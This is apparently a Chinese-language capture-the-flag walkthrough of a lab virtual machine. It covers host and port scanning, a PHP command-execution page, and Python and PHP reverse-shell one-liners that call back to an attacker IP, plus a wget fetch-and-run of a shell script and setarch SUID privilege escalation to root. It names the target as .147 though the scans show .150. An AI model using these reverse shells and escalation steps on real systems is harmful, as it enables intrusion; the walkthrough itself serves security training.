主机探测

IP 探测

nmap

1
2
3
4
5
6
7
8
9
10
11
C:\Users\Yongz\nmap# nmap -sn 192.168.146.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 11:38 中国标准时间
Nmap scan report for 192.168.146.1
Host is up.
Nmap scan report for 192.168.146.150
Host is up (0.0010s latency).
MAC Address: 00:0C:29:B7:DB:7E (VMware)
Nmap scan report for 192.168.146.254
Host is up (0.0010s latency).
MAC Address: 00:50:56:E0:85:FD (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 31.39 seconds
  • 判断出 192.168.146.147 为靶机 IP 地址。

arp-scan

1
2
3
4
5
C:\Users\Yongz# arp-scan.exe -t 192.168.146.0/24
Reply that 00:50:56:C0:00:08 is 192.168.146.1 in 0.199400
Reply that 00:0C:29:B7:DB:7E is 192.168.146.150 in 14.624700
Reply that 00:50:56:E0:85:FD is 192.168.146.254 in 15.266600
Reply that 00:50:56:C0:00:08 is 192.168.146.255 in 0.027500
  • 判断出 192.168.146.147 为靶机 IP 地址。

服务探测

1
2
3
4
5
6
7
8
9
10
C:\Users\Yongz\nmap# nmap -sS -p- -sV 192.168.146.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 11:42 中国标准时间
Nmap scan report for 192.168.146.150
Host is up (0.00056s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
7755/tcp open http Apache httpd 2.4.41 ((Ubuntu))
33060/tcp open mysqlx?
  • 发现一个 SSH 服务、两个 HTTP 服务、一个类似MySQL服务,个人习惯先对 HTTP 服务进行测试。

Web 渗透

信息收集

  • 访问对方 HTTP 服务(80)

image-20231111111358122

  • 看了下 HTML 源码,没啥有价值的信息;就一个作者名
1
<meta name="keywords" content="Hacked by Ind_C0d3r">

目录扫描

  • 我这使用 dirsearch 来进行,并将代理连接到 BurpSuite。
1
python3 dirsearch.py -e php --random-agent --proxy=127.0.0.1:8080 -u "http://192.168.146.150/"

image-20231111111538487

  • 在 BurpSuite 上查看一下

image-20231111111543895

  • 发现扫出来的三个东西都没啥用,info.php 访问会直接下载 PHP 文件,后端应该没设置解析环境。
  • 换个端口,查看下 7755 的 Web 服务。
  • 发现和 80 端口的显示是一样的,怀疑 7755 才是真正部署服务的端口。
  • 访问下 80 端口扫出的三个文件,其中 info.php,可以被正常执行。

image-20231111111551530

  • backup 目录下有目录遍历漏洞

image-20231111111555379

  • 发现 command.php 文件(根据网上的 WP 和本人后续研究,其他三个压缩包都没用)。访问一下:
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Backup</title>
</head>
<body>
<!-- </?php echo passthru($_GET['backup']); ?/> -->
</body>
</html>
  • 从源代码处发现了命令执行漏洞。
1
2
3
4
5
6
URL:192.168.146.150:7755/backup/command.php?backup=ls

command.php
latest.tar.gz
master.zip
master.zip.bak

tips:passthru 不支持嵌套 eval 执行,所以 URL 写马是无效的。

反弹 Shell

Python 反弹

  • 反弹代码
1
/usr/bin/python3.8 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.146.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  • URL
1
http://192.168.146.150:7755/backup/command.php?backup=/usr/bin/python3.8%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.146.1%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
  • 反弹成功

image-20231111111939419

PHP 反弹

  • 反弹代码
1
php -r '$sock=fsockopen("192.168.146.1",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
  • 首先判断是否有 wget/curl 等下载工具
1
2
3
4
5
6
7
8
9
10
ls /bin/ | grep curl
ls /bin/ | grep wget
# 都有

# 使用 wget 下载
wget http://192.168.146.1/shell.sh -O /tmp/shell.sh
# 给权限
chmod 777 /tmp/shell.sh
# 最后访问文件即可
?backup=/tmp/shell.sh

setarch 提权

  • 成功反弹 Shell 后,查看当前用户权限:

image-20231111112008741

  • 发现并不是管理员权限,权限不够,无法进行 flag 查找,需要提权

tips:https://www.freebuf.com/articles/system/244627.html

  • 通过上述网址,查找 suid 文件提权:
1
find / -perm -u=s -type f 2>/dev/null

image-20231111112018781

  • 发现 setarch,使用它进行提权:
1
setarch $(arch) /bin/bash -p

image-20231111112038920

  • 提权成功!

flag 查找

  • 经过一番查找,发现 flag 位于 /root 目录下

image-20231111112042894